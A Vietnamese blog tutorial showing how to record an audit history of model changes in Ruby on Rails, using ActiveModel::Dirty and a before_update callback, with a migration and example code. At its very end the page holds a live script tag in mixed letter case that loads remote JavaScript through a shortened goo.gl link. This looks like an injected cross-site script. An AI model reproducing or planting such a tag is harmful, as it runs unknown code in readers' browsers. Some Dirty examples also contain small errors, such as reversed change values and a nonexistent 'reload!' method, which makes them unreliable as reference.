Tạo ra bảng lưu lịch sử thay đổi với ActiveModel::Dirty và CallBack
This post hasn't been updated for 8 years
Trong ứng dụng có yêu cầu về bảo mật cao, yêu cầu ghi lại lịch sử thay đổi của các đối tượng chính trong hệ thống là cần thiết. Bạn phải xây dựng một bảng lịch sử ghi lại tất cả các thay đổi của đối tượng như: ID của đối tượng, các thuộc tính bị thay đổi, giá trị thuộc tính trước và sau khi thay đổi. Mục tiêu là người quản trị có thể xem được ai đã thay đổi đối tượng này khi nào và nội dung ra sao.
Trước tiên, chúng ta tạo ra model để lưu lại các thông tin trên:
class CreateHistories < ActiveRecord::Migration
def change
create_table :histories do |t|
t.string :object_name
t.integer :object_id
t.string :attribute_name
t.string :before_value
t.string :after_value
t.references :user, index: true, foreign_key: true
t.timestamps null: false
end
end
end
Sau đó, chúng ta cần điều chỉnh lại các model mà hệ thống yêu cầu lưu lại lịch sử thay đổi. Trong model, thêm vào code như sau:
include ActiveModel::Dirty
.....
before_update :write_history
.....
private
def write_history
self.changes.each do |attribute_name, values|
before_value = values[0].to_s.truncate(700) if values[0].present?
after_value = values[1].to_s.truncate(700) if values[1].present?
user_id = self.update_user_id
History.create!({:object_name => self.class.name,
:object_id => self.id,
:attribute_name => attribute_name,
:before_value => before_value.to_s,
:after_value => after_value.to_s,
:user_id => user_id},
:without_protection => true)
end
end
Chúng ta hãy xem qua đoạn code này 1 chút.
ActiveModel :: Dirty
Trong đoạn code trên chúng ta ActiveModel :: Dirty
, là một thư viện được xây dựng sẵn trong Ruby on Rails cho phép ghi nhận lại sự thay đổi của các thuộc tính của đối tượng một cách nhanh chóng và dễ dàng.
Kiểm tra bất cứ khi nào Model bị thay đổi
Kiểm tra bất cứ khi nào Model bị thay đổi bằng cách sử dụng phương thức changed?
:
product.changed? # => false
Nếu bạn thay đổi một thuộc tính của model, phương thức changed?
sẽ trả về giá trị true
:
product.name = "BPhone"
product.changed? # => true
Ghi nhận các thay đổi
Bạn có thể ghi nhận các thay đổi bằng cách sử dụng phương thức attr_change
:
product.name_change # => ["BPhone", "Apple iPhone"]
Bạn có thể lấy danh sách tất cả các thuộc tính đã bị thay đổi bằng cách sử dụng phương thức:
product.changed # => ["name"]
Bạn cũng có thể lấy được giá trị ban đầu của các thuộc tính bằng phương thức attr_was
:
product.name_was #=> "Apple iPhone"
hoặc danh sách tất cả các thuộc tính cùng giá trị ban đầu của chúng:
product.changed_attributes # => {"name" => "Apple iPhone"}
hoặc tất cả các thay đổi:
product.changes # => {"name" => ["BPhone", "Apple iPhone"]}
Xem lại dữ liệu trước đó sau khi đã lưu
Bạn có thể xem được các thay đổi của model ngay cả sau khi đã lưu dữ liệu bằng cách sử dụng phương thức previous_changes
như sau:
product.save
product.changes # => {}
product.previous_changes # => {"name" => ["BPhone", "Apple iPhone"]}
Cuối cùng, bạn có thể reset model bằng cách sử dụng phương thức reload!
:
product.reload!
product.previous_changes # => {}
CallBack
Trong model trên, chúng ta đã khai báo một hàm CallBack, hàm này yêu cầu write_history
trước khi thực hiện bất kỳ cập nhật nào trên model này vào cơ sở dữ liệu. Chúng ta đã sử dụng before_update
chứ không phải before_save
bởi vì không muốn ghi lại lịch sử cả quá trình khởi tạo model.
Cuối cùng, chúng ta ghi vào bảng lưu lịch sử tất cả các giá trị đã bị thay đổi cộng thêm với tên class của đối tượng và user_id của user đã thay đổi bản ghi.
Như vậy, chỉ đơn giản bằng cách sử dụng ActiveModel::Dirty
và CallBack
chúng ta đã hoàn thành được yêu cầu lưu lại lịch sử thay đổi của đối tượng trong hệ thống.
<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>
All Rights Reserved